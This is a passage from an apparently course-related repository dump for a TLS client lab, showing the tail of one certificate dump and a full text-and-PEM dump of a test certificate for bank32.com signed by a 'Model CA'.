12:64:0d:5b:d6:e5:aa:cf:11:ee:d7:04:1f:2a:dc:f1:05:47: 63 | 60:00:36:a1:7b:0d:f8:e9:ad:d2:a0:97:62:9e:fc:8d:aa:67: 64 | ab:00:11:c4:6a:a9:3d:08:2a:1c:f6:14:75:4d:dc:c9:52:ee: 65 | 0d:11:05:52:35:ee:12:51:cf:66:dc:f6:46:db:5d:3c:10:5f: 66 | fa:cd:91:bb:77:0d:e8:e7:3a:76:81:ac:b9:bb:1c:a6:b4:51: 67 | 08:4d:84:e7:2f:50:4a:0c:ed:81:72:96:c3:c5:36:e3:46:c5: 68 | 1e:1f:da:cf:0a:71:06:e0:7e:e2:d7:b5:d0:2a:17:46:18:1e: 69 | 3b:e6:36:0d:77:c1:4c:e3:b5:eb:72:c3:af:2d:3c:e2:e6:0f: 70 | d6:45:48:96:36:41:d0:6c:a2:0e:99:14:1e:bc:35:4f:2f:21: 71 | 0f:e3:53:40:07:ee:07:8a:b0:ef:49:54:28:33:69:7b:ff:af: 72 | 98:63:f1:e5:79:4f:7b:56:40:47:48:ff:97:f4:61:47:f0:c8: 73 | e5:17:4b:83:ba:ad:b9:39 74 | -----BEGIN CERTIFICATE----- 75 | MIIElzCCAn+gAwIBAgICEAAwDQYJKoZIhvcNAQELBQAwXDELMAkGA1UEBhMCVVMx 76 | ETAPBgNVBAgMCE5ldyBZb3JrMREwDwYDVQQHDAhTeXJhY3VzZTERMA8GA1UECgwI 77 | TW9kZWwgQ0ExFDASBgNVBAMMC21vZGVsQ0EuY29tMB4XDTE5MTAwODAxMTgyMFoX 78 | DTIwMTAwNzAxMTgyMFowRDELMAkGA1UEBhMCVVMxETAPBgNVBAgMCE5ldyBZb3Jr 79 | MQ0wCwYDVQQKDARCYW5rMRMwEQYDVQQDDApiYW5rMzIuY29tMIIBIjANBgkqhkiG 80 | 9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuvVWstwwaU95cqAaX5GPchsl8YGnMgG2xcUn 81 | rPX6v9py5rFKF5ZKYjSWrZFsw2uwGq/LoiFDTjEXrC49ixv9SFErXmofuhB6iMlk 82 | tk+TcNQ+RNKfB6+BqoCgotpI66wh33PHDCDRNsmTlQMg9PsPtm5owjAw4yfYff51 83 | Fa/FBfMq8/Y7uDHjesfU53vi/KUgXVxNpnTzTCAdfdDx0B2clEhP3VhlCygiAXB0 84 | NIPpWkqilengxd5bM8AizgAhkEqXodhN/CcTkiHvhPtyLsT/m6qaKFVOHZPMVkP6 85 | FJIOo0j4Xh4SK6J+ZU2T6EiuM1Y5vH0N+a2i9o6AQx7QZyEjTwIDAQABo3sweTAJ 86 | BgNVHRMEAjAAMCwGCWCGSAGG+EIBDQQfFh1PcGVuU1NMIEdlbmVyYXRlZCBDZXJ0 87 | aWZpY2F0ZTAdBgNVHQ4EFgQUanxH0/MNu1eWrbBvgXB5WGcty6gwHwYDVR0jBBgw 88 | FoAU1XlGHJnW9L4mPhVw/eW4/GSQFOUwDQYJKoZIhvcNAQELBQADggIBAF5QwbaM 89 | 5h8/HXy3LfMg54m6BT5tnbXi5eXTOojfqPuFXEnwdTuGTEoiqrJNh2B0kb/WWkoZ 90 | b75cpo8DFjRa6+5IIMFAWM7WNwwcztWKZ7H1E293Jkr6Zwy6RSJZVsc99PM50GTy 91 | 0lsxNwsZyMHiorjlG6++geu02Pj6VJLxHMPgLvjGHqFePwVHuDlFuxQ2t9DPpBCO 92 | JHTrx4PlGXWhIsfhBn0/1gp8FvbQ/Fc/PiftFp8fmqpRS5SqMyBIOPmu7qwCtjaq 93 | X9z7gyjWeSjnD0/03opN03BpKFFYAGyz8KCOMYeiXvE2x8Eukb/TjF+0t2ebFSZX 94 | sHCXAUjKjHMTwYRYbgbs4zQ+Mc2V4O3alDh7qv1kDM/rC6V0+epj2+FtjJJHX9WM 95 | LAH1fvy+u6vW28VwixJkDVvW5arPEe7XBB8q3PEFR2AANqF7DfjprdKgl2Ke/I2q 96 | Z6sAEcRqqT0IKhz2FHVN3MlS7g0RBVI17hJRz2bc9kbbXTwQX/rNkbt3DejnOnaB 97 | rLm7HKa0UQhNhOcvUEoM7YFylsPFNuNGxR4f2s8KcQbgfuLXtdAqF0YYHjvmNg13 98 | wUzjtetyw68tPOLmD9ZFSJY2QdBsog6ZFB68NU8vIQ/jU0AH7geKsO9JVCgzaXv/ 99 | r5hj8eV5T3tWQEdI/5f0YUfwyOUXS4O6rbk5 100 | -----END CERTIFICATE----- 101 | -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/build-TLS_Client_with_callback-Desktop-Debug/cert_server/Du/bank32_cert.pem: -------------------------------------------------------------------------------- 1 | Certificate: 2 | Data: 3 | Version: 3 (0x2) 4 | Serial Number: 4096 (0x1000) 5 | Signature Algorithm: sha256WithRSAEncryption 6 | Issuer: C=US, ST=New York, L=Syracuse, O=Model CA, CN=modelCA.com 7 | Validity 8 | Not Before: Apr 8 04:59:53 2019 GMT 9 | Not After : Apr 7 04:59:53 2020 GMT 10 | Subject: C=US, ST=New York, O=Bank, CN=bank32.com 11 | Subject Public Key Info: 12 | Public Key Algorithm: rsaEncryption 13 | Public-Key: (2048 bit) 14 | Modulus: 15 | 00:e6:64:32:2a:ac:a0:ee:57:22:50:e8:70:c7:f7: 16 | 06:92:8e:ed:aa:b1:45:91:ad:bd:de:f2:bc:a6:78: 17 | 6e:c9:f2:38:60:a2:69:e8:a2:ec:79:f2:84:dc:54: 18 | 78:5c:ec:37:58:62:16:ae:b8:c1:a3:ea:b8:b1:b1: 19 | a5:3a:e8:99:bb:0a:fe:6f:20:97:23:6f:bf:ef:37: 20 | 65:04:b8:7b:92:f9:60:00:18:76:ad:77:01:b9:7b: 21 | c9:0a:2f:e1:e0:b7:fc:fa:45:20:85:20:86:c6:89: 22 | 0d:78:6b:cf:7c:7b:e9:2c:a3:90:c9:da:1a:ed:3f: 23 | e7:ff:36:08:6d:69:d3:ff:ee:55:9f:f5:78:18:6d: 24 | 81:22:da:7d:8b:36:f6:76:45:79:7a:18:da:ad:bb: 25 | 11:09:5a:45:af:82:f3:eb:d7:90:0d:0d:49:3e:6b: 26 | c8:b6:76:73:08:8c:06:9d:a9:06:fb:8c:83:c1:0a: 27 | cc:8d:30:d6:93:7d:87:70:7b:b8:4a:88:f9:1c:a8: 28 | c2:3e:f9:06:e1:ae:1b:34:f1:3e:c7:25:ab:b4:07: 29 | 49:b7:71:8b:54:40:84:56:1a:30:8d:b1:11:0d:68: 30 | 21:42:ae:e1:7e:7c:7b:94:c9:d1:43:91:f6:97:8b: 31 | cc:63:8c:ef:05:c6:8d:a9:e5:dd:39:55:60:2a:b0: 32 | 81:01 33 | Exponent: 65537 (0x10001) 34 | X509v3 extensions: 35 | X509v3 Basic Constraints: 36 | CA:FALSE 37 | Netscape Comment: 38 | OpenSSL Generated Certificate 39 | X509v3 Subject Key Identifier: 40 | 85:E2:E9:94:74:5A:7A:F6:46:8F:E6:B8:20:31:EA:2E:89:47:A1:FD 41 | X509v3 Authority Key Identifier: 42 | keyid:7B:21:44:BA:5C:5F:6F:98:78:51:43:C1:68:D8:05:EC:DB:33:98:DC 43 | 44 | Signature Algorithm: sha256WithRSAEncryption 45 | 35:d7:f2:4f:fc:3d:5a:36:0e:6b:b3:a9:cb:b7:cc:4d:33:e7: 46 | 8b:23:aa:7a:41:43:83:cb:93:07:fa:af:28:f5:9b:79:62:4b: 47 | 1f:1e:29:44:de:5b:a6:04:33:08:b7:b7:c9:e4:63:26:d8:5d: 48 | a8:f6:0d:9c:e7:c1:22:a9:c3:44:5b:5f:ae:a8:7f:9c:ac:33: 49 | 7b:95:2b:c4:f2:56:c9:92:b9:b5:91:16:0c:32:93:d7:70:0e: 50 | 7c:8f:4e:f4:55:70:69:15:fc:5d:c5:02:de:ff:28:55:0e:cc: 51 | af:f9:ee:1f:e1:0d:95:d7:11:8e:bc:4e:7c:e4:01:5e:f5:d7: 52 | 30:8d:9d:d1:34:a6:31:fc:e9:fb:50:be:4f:84:bd:ec:17:24: 53 | dc:e0:f2:cb:ec:0a:c2:bf:a7:94:b0:3c:16:eb:ee:8a:0c:39: 54 | 82:a2:3c:51:b8:bb:1d:39:a4:5e:1f:ac:67:5a:a5:06:d5:92: 55 | 06:c2:7d:89:37:bc:a0:a3:ad:bd:84:73:56:4a:2c:86:58:62: 56 | 32:3b:2c:7b:77:b2:03:63:5b:81:6b:2f:02:af:82:89:d8:81: 57 | 7e:e0:38:ea:bc:49:aa:0d:d2:fa:2e:ee:fd:a0:18:01:48:38: 58 | 2f:dd:1f:55:69:55:f4:0a:87:44:b7:5a:7e:e9:01:8a:42:46: 59 | 8e:64:7a:72:31:b9:fb:e3:da:9a:0d:2e:1c:38:cb:cf:39:40: 60 | 91:b1:ab:8d:4e:67:3d:2d:00:df:6a:b6:3b:da:ce:4e:4d:2f: 61 | fd:ee:f4:f9:7f:33:7e:cb:ff:fb:10:03:f4:92:80:ee:b8:a3: 62 | 66:a4:8a:16:c7:b9:cc:d9:35:47:8f:87:0a:ae:22:6e:d4:01: 63 | 35:7c:26:a8:aa:f4:d0:d6:03:69:98:a3:f4:33:28:ef:ce:bd: 64 | 7d:85:d6:ef:79:5e:fe:9b:99:20:fc:3f:70:c7:82:7c:31:65: 65 | 85:1a:ac:8e:77:9d:1e:cb:be:5e:35:58:de:4a:ab:7c:cc:d4: 66 | 30:e1:e3:92:7e:b6:72:b0:0b:c0:66:af:46:b6:38:20:36:b1: 67 | e8:c6:45:94:13:7c:ec:c2:0e:0b:eb:cb:c2:45:6d:21:41:84: 68 | 77:54:bd:46:60:88:9b:3b:9b:3c:14:c7:ac:e5:b3:f3:14:a2: 69 | af:e1:bb:c1:80:7b:68:25:ab:8c:e9:1a:f2:32:db:3e:23:ed: 70 | df:d3:cf:fb:f6:8e:a9:e1:09:f8:00:51:cc:b5:46:1a:c3:f6: 71 | 4b:5a:41:b2:c7:ae:d4:14:2a:cc:2e:d7:01:2c:cd:20:59:ef: 72 | c3:6f:15:56:b8:cf:c2:ad:9c:db:cc:d7:ab:0c:87:47:73:5a: 73 | 70:7b:af:55:20:40:5b:48 74 | -----BEGIN CERTIFICATE----- 75 | MIIElzCCAn+gAwIBAgICEAAwDQYJKoZIhvcNAQELBQAwXDELMAkGA1UEBhMCVVMx 76 | ETAPBgNVBAgMCE5ldyBZb3JrMREwDwYDVQQHDAhTeXJhY3VzZTERMA8GA1UECgwI 77 | TW9kZWwgQ0ExFDASBgNVBAMMC21vZGVsQ0EuY29tMB4XDTE5MDQwODA0NTk1M1oX 78 | DTIwMDQwNzA0NTk1M1owRDELMAkGA1UEBhMCVVMxETAPBgNVBAgMCE5ldyBZb3Jr 79 | MQ0wCwYDVQQKDARCYW5rMRMwEQYDVQQDDApiYW5rMzIuY29tMIIBIjANBgkqhkiG 80 | 9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5mQyKqyg7lciUOhwx/cGko7tqrFFka293vK8 81 | pnhuyfI4YKJp6KLsefKE3FR4XOw3WGIWrrjBo+q4sbGlOuiZuwr+byCXI2+/7zdl 82 | BLh7kvlgABh2rXcBuXvJCi/h4Lf8+kUghSCGxokNeGvPfHvpLKOQydoa7T/n/zYI 83 | bWnT/+5Vn/V4GG2BItp9izb2dkV5ehjarbsRCVpFr4Lz69eQDQ1JPmvItnZzCIwG 84 | nakG+4yDwQrMjTDWk32HcHu4Soj5HKjCPvkG4a4bNPE+xyWrtAdJt3GLVECEVhow 85 | jbERDWghQq7hfnx7lMnRQ5H2l4vMY4zvBcaNqeXdOVVgKrCBAQIDAQABo3sweTAJ 86 | BgNVHRMEAjAAMCwGCWCGSAGG+EIBDQQfFh1PcGVuU1NMIEdlbmVyYXRlZCBDZXJ0 87 | aWZpY2F0ZTAdBgNVHQ4EFgQUheLplHRaevZGj+a4IDHqLolHof0wHwYDVR0jBBgw 88 | FoAUeyFEulxfb5h4UUPBaNgF7NszmNwwDQYJKoZIhvcNAQELBQADggIBADXX8k/8 89 | PVo2Dmuzqcu3zE0z54sjqnpBQ4PLkwf6ryj1m3liSx8eKUTeW6YEMwi3t8nkYybY 90 | Xaj2DZznwSKpw0RbX66of5ysM3uVK8TyVsmSubWRFgwyk9dwDnyPTvRVcGkV/F3F 91 | At7/KFUOzK/57h/hDZXXEY68TnzkAV711zCNndE0pjH86ftQvk+EvewXJNzg8svs 92 | CsK/p5SwPBbr7ooMOYKiPFG4ux05pF4frGdapQbVkgbCfYk3vKCjrb2Ec1ZKLIZY 93 | YjI7LHt3sgNjW4FrLwKvgonYgX7gOOq8SaoN0vou7v2gGAFIOC/dH1VpVfQKh0S3 94 | Wn7pAYpCRo5kenIxufvj2poNLhw4y885QJGxq41OZz0tAN9qtjvazk5NL/3u9Pl/ 95 | M37L//sQA/SSgO64o2akihbHuczZNUePhwquIm7UATV8Jqiq9NDWA2mYo/QzKO/O 96 | vX2F1u95Xv6bmSD8P3DHgnwxZYUarI53nR7Lvl41WN5Kq3zM1DDh45J+tnKwC8Bm 97 | r0a2OCA2sejGRZQTfOzCDgvry8JFbSFBhHdUvUZgiJs7mzwUx6zls/MUoq/hu8GA 98 | e2glq4zpGvIy2z4j7d/Tz/v2jqnhCfgAUcy1RhrD9ktaQbLHrtQUKswu1wEszSBZ 99 | 78NvFVa4z8KtnNvM16sMh0dzWnB7r1UgQFtI 100 | -----END CERTIFICATE----- 101 | --------------------------------------------------------------------------------